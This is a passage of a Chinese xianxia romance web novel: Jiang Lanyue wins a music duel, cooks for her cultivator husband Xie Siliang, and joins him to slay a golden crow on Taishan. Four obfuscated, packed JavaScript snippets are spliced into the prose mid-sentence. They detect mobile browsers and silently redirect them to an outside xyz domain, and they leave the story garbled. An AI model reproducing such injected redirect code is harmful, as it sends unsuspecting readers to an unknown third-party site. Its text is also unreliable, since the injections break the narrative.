“我陪朋友一起来碰碰运气，不巧就听到了你们的争执。”宋卿尘道，“小师妹， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924716|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要和他比试吗？” 听到“师妹”二字，谢思量的眉微不可查地皱了一下。 宋卿尘道：“摇光仙君原来你也在这儿啊，想起来了，师尊说让你陪揽月一起来。” 这句“揽月”，说得熟练无比。 谢思量嗓音清冷：“是的，陪我夫人来，理所应当。” 见这几人在一旁聊起来，姜揽月直接走到了这位郑谦对面，道：“正好现在人多了起来，我们开始比吧。” 郑谦闻言看了看周围，因二人的争执，围观的人确实越来越多了，不仅仅是谢思量和宋卿尘，还有一些不认识的弟子。 “好。”他道，“若是我赢了，就与我道歉。” 那琵琶已经和姜揽月签订了血契，这时候想再要回来已经不可能了。 “行，我同意。”姜揽月道，“若是我赢了，你便与我道歉。” “好啊，那到时候摇光夫人可不要欺人太甚啊。”郑谦道，他出生于修仙世家，修炼三年结成金丹，郑谦对自己一向非常自信，只要对手不是谢思量就行。 周围聚集的人越来越多，大部分都是初次来琅琊阁的新弟子。其中就有薛满，少年静悄悄地走到谢思量身边，道：“师尊，师娘这是在和这个人比试？” 谢思量轻轻颔首。 薛满又道：“可是师娘才来昆仑没几天吧。” 清风拂过谢思量的发丝，他道：“我相信她。” 薛满默默闭了嘴，观看起前方的比试。 姜揽月怀中抱着普通的木琴，而郑谦的乐器是笛子。笛音与琴音齐响，二人水平皆是上等，对于不懂音乐的人来说，这次比试无异于一场演奏会。 姜揽月弹的曲子是《白雪歌》，正是前几日被谢思量听出错音的曲子。这曲子曲调清澈干净，乍一听没有攻击力，却能扰人心神。后半段，姜揽月手指极速滑动，《白雪歌》变为了《伐檀》，凌厉的风刃冲向郑谦。 郑谦眉头一皱，原本婉转的笛音瞬间也变得激昂，却没有挡住姜揽月的排排攻势。 “啪嗒。” 他手上的长笛摔倒了地上。 激昂的乐音也同时停止。 周围围观的弟子纷纷鼓起掌来，虽然听不懂，但是谁赢谁输一目了然。 薛满扬声道：“师娘赢了！师娘好厉害！” 谢思量白衣出尘，嘴角轻轻勾起。 前方的姜揽月下巴微扬，道：“我赢了，按照约定，你应该向我道歉。” 郑谦弯下腰，捡起来自己的笛子。 这不可能，这不可能，这个凡人明明才入昆仑宗几天，怎么可能能打败他一个金丹，这不可能！！ 对了，一定是她和谢思量双修的结果。她是谢思量道侣，她一定是靠这种方式获得修为的，不然无法解释为什么她的修为提升的如此之快。 郑谦抬眼，三角眼中滑过了一丝不服与怨恨。 但无奈这里围观的弟子实在太多，而且，他还察觉到了隐隐威压之意。 在场的大部分都是刚入门的弟子，修为高也高不过金丹，在场只有一个人能释放出这种灵压，那便是谢思量。 他的手指微微颤抖，谢思量还挺护着自己的这位道侣。 呵，什么报恩，就是喜欢这个凡人吧，说是报恩，不过是糊弄昆仑那些长老的。 “仙尊，仙尊夫人，对不起。” “不用向我道歉，向姜姑娘道歉便可。”谢思量如濯冰碎玉般的声音响起，“这本就是姜姑娘的琵琶。” 姜揽月微微愣住，不是“摇光夫人”，而是“姜姑娘”。 于是郑谦又低头，半晌后，道：“姜姑娘，对不起。” 12. 琅琊阁（三） “揽月，真厉害！不愧是我的好师妹！”宋卿尘道。 姜揽月刚回到人群中，宋卿尘便直接拍了拍她的肩膀。 “师尊果然不收等闲之辈。” 姜揽月谦虚：“哪里哪里，师兄过奖了。” “师娘，好厉害！！”薛满也鼓掌道。 “薛满，你也来了？！” “对啊，我一直看着呢。” 见周围很多人围观，姜揽月竟生出了一丝不好意思之意。 薛满凑近谢思量，对谢思量道：“师尊，师娘好厉害啊。” “嗯，揽月，很厉害。”谢思量开口道。 他的声音还是一如既往的清清冷冷。 姜揽月动作微微凝住，尽管周围嘈杂无比，她还是准确无误地捕捉到了谢思量的声音。 谢思量，竟然夸她了。 少女内心一颤。 她走到谢思量身旁：“谢思量，我们走吗？事情已经解决了。” 谢思量轻轻点头：“走吧。” 姜揽月转头对宋卿尘和薛满说：“你们走吗？” 宋卿尘道：“我还要陪朋友，先不和你们一起出去了。小师妹，今日的表现很出彩，什么时候有机会我们切磋一下。” 姜揽月眉毛弯弯：“过些时日吧，师兄你现在和我切磋就是欺负人啊，我才来几天呢。” 她又看向薛满：“薛满，你呢？你拿到神武了吗？” “师娘，我已经拿到了。” 薛满看看姜揽月，又看了看身边一直没说话的谢思量，他的师尊又恢复了平日中不染纤尘的模样，道：“我也要和朋友一起，师娘你和师尊一起先出去吧。” “好，那我们先走了。”姜揽月道。 她抓住谢思量的手腕：“谢思量，我们先走吧。” 看着面前消失的两道背影，薛满喃喃自语：“师尊从来都没夸过我。” 身旁的男修在他背上拍了一巴掌：“你和你师娘能一样吗？” * “对不起啊，连累到你了，耽误了你这么久。” 从琅琊阁出来后，姜揽月便立即和谢思量道歉。 谢思量道：“谁与宝器签订了血契，谁就宝器的主人，这本就是规矩。至于他所说的谁先发现宝器谁便可以让宝器认主，乃是胡言，你不用放在心上。” “嗯，我知道，”姜揽月重重点头，“谢谢你啊，刚刚帮我说话。” “无事，本就是那人有错在先。” 两人一起走在小路上，姜揽月忽地感到一股饥饿之感。刚刚和那男修比试了一番，实在是有点耗体力。 “谢思量，我想去斋堂。” “饿了？” “嗯。” 谢思量走在前方：“不用去斋堂，去玉霄殿自然有弟子会给你送上。” “噢。”这辈子来昆仑一只想着重生和修炼，她都快忘记这件事情了，是时候恢复她之前在玉霄殿骄奢淫逸的生活了。 “好，那就先回玉霄殿！” 回到玉霄殿后，姜揽月立马吩咐童子上了一大桌菜。 她招呼谢思量：“谢思量，一起！” 谢思量轻轻皱眉：“我说过，我早已辟谷。” “那你不来尝尝味道吗？有的美食真的很好吃。” 她端起桌上的桂花醪糟，替谢思量舀了一碗：“谢思量，尝尝嘛，这是桂花醪糟，很好喝的，尝一下吧。” 谢思量有些迟疑。 姜揽月直接拿起勺子：“张口尝一下呗。” 谢思量慢慢张嘴。 姜揽月眼疾手快地喂了他一口。 “如何？” 甜糯的酒味和桂花味一起在舌尖炸开，谢思量道：“尚可。” 姜揽月将勺子重新放入碗中：“我就说很好吃的，你自己吃吧。这里还有很多其他菜，你也试试呗。” “嗯。” * 宫商阁，台上的长师姐指纷飞，谱出婉转琴音。 今日来教她们的是一位师姐，苏怀柔。 姜揽月聚精会神地听着，她眼角一瞥，发现门外站着一位青衣少年。少年手上拎着一个竹篮，篮子上盖着一块白布。 她已经连续好几天看到这位少年了，每日都会来给苏怀柔送吃的。 果然，下课后，青衣少年就将竹篮交给了苏怀柔，随后道：“阿柔，我今日先去医馆了。” 苏怀柔接过竹篮：“嗯，晚上我去医馆陪你。” 姜揽月有些好奇，问旁边的沈依云道：“那个少年怎么每天都来？” “那是苏师姐的道侣，医修，叫沈潜，又来给苏师姐送吃的了。” “苏师姐的道侣？” “对啊。”沈依云道，“他经常给苏师姐送吃的，我们跟着苏师姐沾了不少光。” 话音刚落，苏怀柔便拎着篮子走了过来：“揽月，依云，来吃一块。” 她掀开白布，漏出了篮子中精致的糕点，还有一碗酒酿圆子。 “是桃花糕！”姜揽月道，她拿起一块糕点，“那我就不客气了！” 糕点入口，是满口的桃花香气，入口即化。 姜揽月双眼一亮。 “还有酒酿圆子呢。” 苏怀柔又给姜揽月喂了一口。 “好吃！”姜揽月束起大拇指。 翌日，那个医修男子又来了。 姜揽月想起之前一起吃饭时，谢思量吃了几口醪糟，剩下的几乎没吃，那么应该就是喜欢醪糟的意思。而醪糟和酒酿圆子也很像，所以他应该也会喜欢酒酿圆子。 于是，她走到医修少年身边：“沈师兄，你是苏师姐的道侣？” 那男子毫不避讳地点点头。 “可以教我怎么做酒酿圆子吗？” 男子淡淡抬眉，望向对面的姜揽月，他听苏怀柔说过，谢思量的道侣来宫商阁了，正是面前的这位姑娘。 他点点头：“可以。” 灶台前，沈潜揉着面团，道：“这是做给谢思量吃的？” 姜揽月点点头：“嗯。” “你对谢思量还真上心。”沈潜道，他和谢思量同年来的昆仑，和这位天才剑修甚至称得上熟悉，因为谢思量几次受伤都是他去医治的。说实话，在姜揽月之前，他也没有想到自己这位同门居然有朝一日会有道侣，因为谢思量修的是太上忘情道。 “哈哈，感谢他，因为他之前陪我去了琅琊阁。”姜揽月道，随后又解释：“我给他做，就像你每日给苏师姐做那样嘛。” “嗯。”男修轻轻颔首。 他听到一些传言，说是谢思量为了报恩才和姜揽月结为道侣。如今看面前的女子如此喜欢谢思量的样子，内心了然。 * 从沈潜那出来后，姜揽月回玉霄殿做了一大锅酒酿圆子。 她自己先吃了几口尝尝味，心觉味道还不错，心情甚好，原来自己还有厨艺天赋。 直到月挂云梢，谢思量才回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924717|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>今日谢思量没有戴绷带，露出了琉璃般的瞳孔，撩起眼皮时仿佛世间最澄澈的玉石。 “谢思量，我今日做了酒酿圆子！” 话音刚落，姜揽月便闻到一股血腥味。再仔细一看，谢思量雪白的袍子上果然有干涸的血迹，如点点红梅。 “谢思量，你受伤了？” “不是我的血。”谢思量淡淡道。 年初开始，人间便有大量妖魔出没，所以当时谢思量才会追一只魔鲛直到太虚海。 而他此行也是为了收复一只大妖，袍子上应该是那只妖的鲜血。 姜揽月不知今日是哪只妖倒霉碰上了他。 她曾见过谢思量战斗，千里冰封，能够直接将妖魔冻为冰雕。不过这都是后来了，不知如今谢思量水平如何。 “师娘好。”一道干净的少年音响起。 姜揽月这才发现他身后站着薛满，道：“薛满，你今日也来了啊。那正好，来尝尝我做的酒酿圆子。” 薛满双眼一亮，结束一天的修炼后可以吃到师娘做的饭，于是道：“好啊，多谢师娘！ 而谢思量的神情中则出现了一抹困惑：“酒酿圆子，这是什么？” 薛满一愣，自己的师尊竟然不知道何是酒酿圆子。不过想想也可以理解，师尊清冷不食人间烟火，不爱吃食也正常，修仙之人就应该是此番模样！ 而姜揽月则是一副见怪不怪的样子，解释道：“这是凡间一道有名的吃食，甜甜的，很好吃，和你前几日吃的醪糟很像。” 她快速地盛了两碗圆子，一碗塞给谢思量，一碗塞给了薛满。 薛满道：“师娘，那我就不客气了！” 不同于薛满的直接，谢思量玉白的手指拿起了勺子，慢慢舀起了一个圆子。 自从和姜揽月来玉霄殿之后，经常会给他端些吃食，这些日子，他早已习惯。 圆子落入嘴中，谢思量面无表情，他实在是尝不出什么味儿。 姜揽月面露期待：“如何？” 听到了少女语气中的期盼，谢思量思索片刻，道了句：“不错。” 姜揽月：“我也觉得很好吃！” 说着，便埋头开始吃起来。 一旁的薛满则面露震惊，不过很快又将表情调理了过来，他不能扫师尊和师娘的兴。 师尊这也太喜欢师娘了吧，这酒酿圆子他都不知道是什么味，师尊居然能说出“不错”，他实在是佩服。 强咽下一碗之后，薛满起身道：“师娘，多谢你的酒酿圆子。但我今晚还和人约好了一起练习，就先告辞了。” 姜揽月道：“不吃了吗？那你要不要带一碗给你朋友吃啊？” 薛满连忙道：“那太麻烦师娘了。师尊，师娘，我先走了。” 薛满走后，姜揽月嘀咕道：“薛满练习还真是勤勉，不愧是你的徒弟。” 谢思量放下手中的碗：“你若是想，我也可以教你。” “好啊，等我先练一段琵琶再说。”姜揽月开始自己的第三碗圆子，见谢思量的碗空了，道，“谢思量，你还要吗？” “不了，我吃饱了。” “好，那剩下的我吃了。” 姜揽月儿时在海中只能吃海鱼海虾海蟹，很是羡慕陆地上的各种各样的吃食，妖不像人能够辟谷，她对食物的欲望明显比谢思量大得多，现在手上端的已经是第四碗酒酿圆子了。 听着身边女子一碗又一碗的动静，谢思量心中默然，鲛人，都这么能吃吗？ 13. 台山（一） 藏书阁，姜揽月靠在黑紫色的紫檀木书柜前，手中捧着一本药修的书。 这些天，她一旦有时间便会跑来藏书阁。昆仑的藏书阁很大，各种典籍数不胜数，她想试试能不能找出治疗血脉反噬的方法。 每月一次的血脉反噬，实在是难熬。想到以后可能要疼一辈子，姜揽月只想早点把这件事情解决。 纤细的指尖拂过泛黄的书页，她忽地眼前一亮，只见书页的一角写着“血脉反噬”几个小字。 “血脉反噬：常见于人族与妖族的混血……” 这一页的最后，写着可用于治疗血脉反噬的配方，她连忙拿出一只笔将配方记下来。 醉云花、桃花蛊叶、天机木……水心莲。 当看到最后一味草药时，姜揽月瞳孔骤缩，居然是水心莲。 她不会忘记，上辈子系统便是让她偷了这水心莲给宿渊，然后才会引发后面的事情。水心莲作为昆仑至宝，果然作用无数，不仅可以用来修复碎掉的经脉，居然还可以用于解决血脉反噬。 姜揽月叹息一声。 看来若要想根除血脉反噬的影响，她这辈子还是得去找谢思量要水心莲。兜兜转转，居然又回到了最初。 至于其他的配方，她得慢慢搜集，水心莲就作为最后一个吧。 * 宫商阁，碧波荡漾，荷花摇曳，晶莹的露珠在碧绿的荷叶上打着转。 姜揽月白裙飘飘，怀中的太华透着点点蓝色，颇为引人注目。 今日妙音长老也在，正一一检查她们的练习情况。 她走到姜揽月身边，道：“居然是琵琶。” 姜揽月抬头道：“师尊，我也没有想到居然是琵琶，我还以为会像您的武器那样，是琴呢。” 曲玄素接过姜揽月怀中的琵琶，打量了片刻后，道：“是把好琵琶，不愧是我看中的徒弟。” “谢谢师尊。” “我听卿尘说，你在琅琊阁碰到了郑谦，还和他比试了一番。” 姜揽月点点头：“是的，因为他在弟子和太华结了血契之后说太华是他先发现的，应该属于他。” 曲玄素双眼微咪：“此人之前来昆仑的时候，他的父亲便想安排他来我这里，原来是如此偷奸耍滑之人，居然还欺负到我徒弟头上了。” “师尊莫生气。”姜揽月道，“弟子已经将他打败了，嘿嘿，还是在众目睽睽之下，给师尊争了脸面，他以后应该不会来找弟子茬了。” 曲玄素笑笑，揉了揉姜揽月乌黑的头发：“还是你嘴甜。对了，我看你的修为最近有提升，已经是筑基巅峰了，快要突破金丹了。” “真的吗？那我更要抓紧时间练习了。” “嗯，你可以找我，也可以找你宋师兄。”她忽地想起了谢思量，“也可以找你的道侣一起练。” “对了，再把你这太华给我看看。” 姜揽月又将自己怀中的琵琶递了过去。 曲玄素抱起琵琶：“我听说过这个琵琶，是三百多年前昆仑一位乐修使用的。没想到，它居然会在百年后认你做主。” 她又道：“你当时是不是在琅琊阁见到了一只蓝色蝴蝶？” “对。”姜揽月道，她记得就是打败了那只蝴蝶才有太华的。 “那你知道太华还有一个功能吗？”曲玄素又道。 姜揽月抬头：“什么？” 曲玄素将太华还给姜揽月：“我听说可以幻化为蝴蝶，不过只是听说，因为我也没有拥有过太华，具体的还要你自己去探索。” “幻化成蝴蝶？”姜揽月点头，思索片刻后道，“弟子以后会多加注意的。” “对了，摇光马上要去台山了，你和他一起吗？虽然这次的凶兽有些危险，但对你来说是一次不可多得的历练机会，可以让他带着你。”曲玄素道。 “台山？”姜揽月内心一动，她记得醉云花就在台山，“是去台山除妖吗？” “对，台山。台山这几日的凶兽再次出现，已经威胁到当地居民了，谢思量主动说要去，他没和你说吗？” “他一般不和我说这些。”姜揽月打马虎道，谢思量怎么可能把自己的行踪都告诉她啊。 “那可能是怕你担心吧。”曲玄素看向她，“你可以和他一起去试试，毕竟机会难得。” “好，我回去问问他。” * 回到玉霄殿后，姜揽月准打算直接和谢思量开口，让他带自己一起去台山，但是不知道谢思量会不会同意。 她给自己做心理建设，毕竟当初她救了他，他应该会同意的吧。 少女等了又等，眼见夕阳逐渐落下，夜幕渐深，月挂云梢，却还是迟迟不见谢思量回来，于是姜揽月便准备直接去找他。 她知道谢思量平日喜欢在哪里练剑。 走出玉霄殿，穿过一条小道，是一个剑冢。 剑冢旁也种了大片大片的梨花，清风吹来，雪白的梨花纷纷降落。 果不其然，月光和梨花之下，还站着一位白衣飘飘的身影，如芝兰玉树，朗月入怀。 谢思量正在练剑，只见剑光闪烁，剑气如虹，如月满群山，排山倒海。 观雪在他身边环绕，数百道剑影令人眼花缭乱，分不清哪一个才是真正的观雪。 姜揽月站在树下偷偷看着，她不是很懂这些剑术，猜测应该是谢思量研究的剑阵。谢思量作为剑修天才，昆仑的剑术早就满足不了他，他很早便开始自创剑阵。 等了许久，也不见谢思量歇息，姜揽月也不好意思贸然打扰。 正当她鼓起勇气准备开口之后，一道雪白的剑光忽然冲向她。 姜揽月吓了一跳，谢思量若是出手，那可是要人命啊！ 她连忙道：“谢思量，是我，是我，姜揽月！不要打！！” 听到少女的声音后，那道剑光转而又改变了方向，随即消逝不见。 “是不是我如果不找你，你就准备一直在那偷看？”谢思量的声音清清冷冷。 月光下，少年苍白的皮肤略显病态，眉骨凌厉，鼻梁高挺，殷红的嘴唇好似涂了胭脂。他半张脸在月光下，半张脸在阴影中，看不清表情如何。 “什么？你一直都知道我在？”姜揽月惊讶，随后又立即想起自己和谢思量的修为差距，若是他没有发现自己才奇怪。 于是转而又道：“既然你都知道了，那便不算偷看，是光明正大的看。” “……你倒是挺能说。” 谢思量道：“你来这儿做什么？” 二人都心知肚明，姜揽月不会无缘无故来找他。 姜揽月打算直接说：“就是，你明日要去台山吗？我想和你一起去。” “你想去？”谢思量淡淡道，虽然是问句，但从他的语气中却听不到一丝惊讶。 “对，我想去。”姜揽月道，“师尊让我过去历练一下，增长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924718|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见识。” “原来是曲长老建议的啊。”少年轻笑。 他的的声音和风一起传来，仿佛带着一丝自嘲。 谢思量怎么会用这种语气说话？姜揽月不禁怀疑自己听错了。 再看谢思量表情，还是那般冷冷淡淡。今日他没有缠绷带，琉璃般的瞳孔仿佛玉石。 “嗯，师尊建议我去实战一下。不过你放心，我绝不会拖你后腿的。”姜揽月生怕谢思量不同意，毕竟这可是一个拿醉云花的好机会，道，“我跑的贼快，一看形势不对我就立马跑，绝对不会耽误你。你就带我去吧。” “好不好吗？谢思量？”少女的声音中不自觉带了点娇嗔，“你就带我去吧。” 谢思量眼睫微颤，如今他已经习惯了姜揽月的说话语气：“不用解释，我会带你一起去的。” “好，谢思量，我就知道你最好啦！” 听闻少女这句话后，谢思量内心微动，和姜揽月认识的这段时间，他好像已经听她这么说好几次了。 奇怪，自己怎么会总是同意她的请求。 一向顺风顺水的剑修天才难得生出一丝疑惑。 自他踏入昆仑修道以来，无论什么剑术都是一看就会，年纪轻轻便可自创剑阵，而如今他居然在姜揽月身上生出好几次困惑了。 少年不解。 片刻后，他明白了，因为姜揽月救过他，他同意她的请求是应该的。 “无事，这些都是你救了我的……”谢思量道，“报答。” 没错，是报答，所以他才会同意姜揽月的请求。 耳边叮铃叮铃的铃声响起，少女又道：“那我先走了？我去医馆拿些药为我们明日做准备？” 谢思量轻轻颔首：“好。” 耳边的铃声越来越远，心中的铃声却始终不灭。 他也不知自己这是怎么了。 * 和谢思量说好后，姜揽月便直接跑去医馆。谢思量虽然强，但是她不强啊，她必须多准备几手来保证自己的安全。 谢思量说带她去台山是为了报答她的恩情，果然猜的不错，姜揽月嘴角轻勾，因为这份恩情，以后谢思量应该还会答应她很多请求。 想到这里，姜揽月不由得心情很好，原身当初果然没有救错人。 走入医馆后，她才发现今夜值班的是沈潜。 不想，苏怀柔居然也在。 “苏师姐，这么晚了，你还在陪沈师兄啊？” “白日见面的时间少，只能晚上见了。”苏怀柔道，“那你呢？怎么这么晚还来医馆，有哪里受伤了吗？” 姜揽月连忙道：“没有没有。” 沈潜在一旁熬着药：“是不是和谢思量有关？” “猜对了一半。”姜揽月道，“谢思量明日要去台山，师尊让我和他一起去，历练一番，所以我想来拿点丹药。” “可以，你是给自己准备的吗？”沈潜道。 他和谢思量认识这么多年，几乎从未见过谢思量主动来医馆，更没有主动来拿过药， “不是啊，是给我和谢思量两人一起准备的。” 苏怀柔笑道：“原来如此，我们音修和剑修果然不一样。” 沈潜道：“剑修就是太猛了。” 从医馆回来后，姜揽月的芥子囊中装满了辟谷丹，止疼丹，清心丹…… 第一次出昆仑历练，她必然要好好准备一番才行。 14. 台山（二） 翌日一早，谢思量和姜揽月便一起启程去了台山。 姜揽月收拾好自己的包裹，站在谢思量身后，在意识到自己还是得靠谢思量御剑才能走之后，她有些不好意思。 于是道：“谢思量，这次回去，你教我御剑吧。” 谢思量淡淡抬眉：“我现在就可教你。” “现在？”姜揽月道，“那还是回来吧，我们先去把那只凶兽解决了，我怕耽误时间。而且我现在也没有剑啊，等回来我去找把木剑练习。” “你可以直接用观雪。” 姜揽月瞳孔震惊，观雪可是谢思量的本命剑，怎么舍得给她用？而且谢思量怎么这么主动，难不成是不想带她，教会她御剑后就不用带她了？ 她转头看谢思量，谢思量依旧神色淡淡，仿佛在说一句很平常的事情。 想到这里，姜揽月明白了，道：“等把台山的凶兽解决后，回来我就立马和你学剑。” 谢思量眼睫轻颤，没有言语。 这次台山的凶兽为金乌，传说中这是生于火焰的凶兽，每每张开翅膀便可掀起熊熊烈火，张嘴亦可吐出火焰，将一切都燃烧殆尽。也正因此，台山附近的村民都饱受其困扰。 不过不管这凶兽被说的有多么厉害，她对此行还是非常有自信的。当然，这份自信不是来自于她自己，而是来自于谢思量。 上辈子当了四年摇光夫人，她从未听说谢思量有战败的时候，几乎是战无不胜，所以这也是她此次前往台山的原因，因为能确保自己的绝对安全。谢思量在前面打架，她在后面捡漏就好。 距离台山不远，姜揽月便感到一股火热之气，暑气蒸腾而上。她抬手擦了擦额头上的汗，心想千算万算却没想到台山居然还有这一糟，前几日准备的那么多丹药在此时没有丝毫用武之地。 正当她大汗淋漓的时候，抬头一瞥，谢思量居然还是一副不食人间烟火的模样，身上一滴汗都没有。 姜揽月哑然：“……谢思量，你怎么……你不怕热的吗？” 谢思量冷冷清清的声音传来：“姑娘莫不是忘了，在下是冰灵根。” 姜揽月恍然大悟：“原来灵根还有这种用处。” 然后，她忽地又想到，自己可是鲛人啊，鲛人怕热不是应该的吗？ 少女白净的额头上渗出点点细汗，想着反正谢思量也看不见，于是又把袖口和裙子都撩了上去，露出玉藕般的小臂和小腿。 来到台山之上，这里长满了高耸入云的扶桑树。树上开着扶桑花，红艳艳的，铺天盖地，好像一盏盏小灯笼。 继续靠近，她只感觉到热度好像又上升几分。不禁内心感慨，这简直就是《西游记》中的火焰山啊，现在她最需要的是一把可以扇灭火焰的芭蕉扇。 要不求求谢思量帮一帮自己？可他若是不同意怎么办？ 姜揽月内心纠结，明明说好不耽误他的，自己却因为这种小事事情找他。 又一轮热气袭来。 不行，受不了了，裙子从里到外全湿透了。 在热死和求谢思量之间，姜揽月还是选择了求谢思量。 少女往前靠近，小心翼翼开口道：“谢思量，我能靠近你一点吗？真的热的受不了了。” 谢思量：“金乌所在之处对你来说还会更热。” 言下之意便让姜揽月不要再上去了，上山会更加受不了。 姜揽月立马撇嘴：“不行，来都来了，我不能半途而废。你若是不帮我，那我就……我就自己忍，反正我一定要上去！” 一边说着，少女一边提起裙摆，加快了脚步。 “手伸过来。” 谢思量叹息一声。 “手？” 还未等姜揽月反应过来，谢思量就握住了姜揽月的手腕。 瞬间，姜揽月便感到一股清凉的灵力注入了自己的灵脉，随后又流向了五脏六腑，就像甘霖洒向沙漠。 她感动非常：“谢思量，谢谢你。” “无事。” 感受到源源不断的灵力注入自己体内，姜揽月忽地一惊，这会不会很浪费他的灵力啊？ 想到这里，她立即将自己的手往回缩，却不想竟缩不回来。 “你做什么？” 谢思量反问：“你做什么？” “这会不会浪费你的灵力啊？” “不会，我的灵力不差这一点。” “好。” 听谢思量这样说，姜揽月的心理负担便减轻了，任由谢思量将自己握住。 随后，她又听谢思量道：“握紧我的手。” 话音刚落，他便放开了姜揽月。 察觉到那块冷玉离开了自己，姜揽月忙不迭地重新握了上去。 “嘿嘿，谢思量你真好。” 听着少女的声音，谢思量心中却生出了一股灼热，他顿感疑惑，莫不是姜揽月带着他一起变热了？ “那只金乌在哪里啊？”姜揽月抬眼，打量着面前这座山。这台山这么大，巨大的扶桑树遮天蔽日，根本见不着那传说中的金乌。 谢思量淡淡开口：“跟着我就好了。” “嗯。” “谢思量，假如等会碰到那金乌，我就先弾曲子催眠它，然后你再对付它，怎么样？”姜揽月思索道。 虽说谢思量厉害，独自一人就能解决这凶兽。但她来都来了，不能真的什么都不干啊。 “谢思量，我不是说你不行的意思。我只是想历练一下自己，检查一下自己最近修炼的怎么样。”姜揽月又道。 “随你。”谢思量琉璃般的瞳孔好像流淌着日光，“等会记得站远点。” “站远点？”姜揽月反应过来，“哦，我会记住的。” 二人穿过巨大的扶桑树，一路向上，温度也越来越高。 “谢思量，我感受到妖力了。”姜揽月说道。鲛人也算妖，所以她能感受到这些精怪的精怪之力。 谢思量：“应该在山顶。” 待二人来到山顶之后，果然看到了传说中的金乌。 金乌栖息在扶桑树之上，浑身长满了金色的羽毛，头上也是金色的翎羽。 那只金乌本来双目紧闭，看起来正在歇息。但就在谢思量和姜揽月二人来到之后，便立马睁开了双眼，巨大的金色眼眸紧紧盯着面前的两位不速之客。它张开嘴，熊熊烈火燃起。 在见到这只金乌之后，姜揽月便非常有自知之明地没有继续前进，躲在一棵巨大的树后。她知道，以自己的实力硬刚是不行的。 她拿下了背上的太华，少女手指纷飞，弹起了一首月光咒。月光咒正如它的名字一样，是一首用来安眠的曲子，换一句话来说，也就是用来催眠的曲子。 而前方的谢思量手中观雪现出，剑光闪现，如月满群山，带着冰雪的磅礴剑气袭向面前的金乌。 凌厉的剑气打在金乌身上，漂亮的羽毛上立马多出了几道狰狞的伤痕。 它明白这白衣少年不好惹，于是转头就飞向姜揽月。 姜揽月一惊，正欲逃跑，再抬眼之时，却发现谢思量站在她与金乌之间。 她内心一颤，谢思量的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927145|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作竟然能快到这个地步？ 少年入墨的发丝被风吹起，容貌惊艳绝伦，他双眸微咪，烈火倒映在他的瞳孔之中，似空中云霞。 随后，姜揽月感受到一阵寒气，她定睛望去。只见自谢思量脚下开始结冰，结冰速度越来越快。他手持观雪，劈向金乌，竟生生把金乌冻住了！ 再眨眼，观雪已插入了金乌的胸口。鲜血喷涌而出，将谢思量雪白的袍子染红。 他的侧脸和头发上也沾上了血液，鲜红的血液从他仿佛玉雕一样的脸上滴落。再加上他的面无表情，活脱脱是一个修罗。 谢思量漂亮的眉眼明显地皱了一下，他实在是厌恶这种气味。 “谢思量，用这个擦一下吧。”姜揽月从树后小跑出来，将自己的手帕递了过去，她知道谢思量有洁癖，这么多血他一定很难受。 谢思量回过神来，接过了少女的手帕。 手帕触碰着着是柔软的触感，还有淡淡的冷香，混着梨花的香气。少年的手握紧了这个手帕，随后又松开。 鲜血，会弄脏这个手帕。 “唉，你怎么不擦啊？”姜揽月见到，不由分说地从他手中拿过手帕，帮他擦起脸上的血来。 谢思量轻声：“这是你的手帕。” “我知道，我还有很多，不差这一张。” 擦完血迹后，姜揽月正准备将手帕收起，不想却被谢思量一把夺过。 “脏了，我来洗。” 姜揽月愣住，想到谢思量如今可是盲人，道：“你会洗吗？” “……”谢思量：“自然会洗。” “好。”姜揽月道，这时她发现谢思量的左胳膊处正汩汩冒着鲜血，晕红了一大片衣料。 由于袍子上沾满了金乌的血，都混在一起，所以她刚刚一直没注意到。 “谢思量，你受伤了。你看不见，我来给你包扎吧。” 谢思量微怔，以往都是他一人出行，从来不会在意受伤这种事情。 未等他从思绪中抽出，姜揽月已经掀起谢思量的衣袖。 只见白净的胳膊上是一条狰狞的血痕，伤口深可见骨，边缘还有灼烧痕迹，看起来便能让人感受到疼，姜揽月不由自主地瑟缩了一下。 “你要止疼丹吗？” 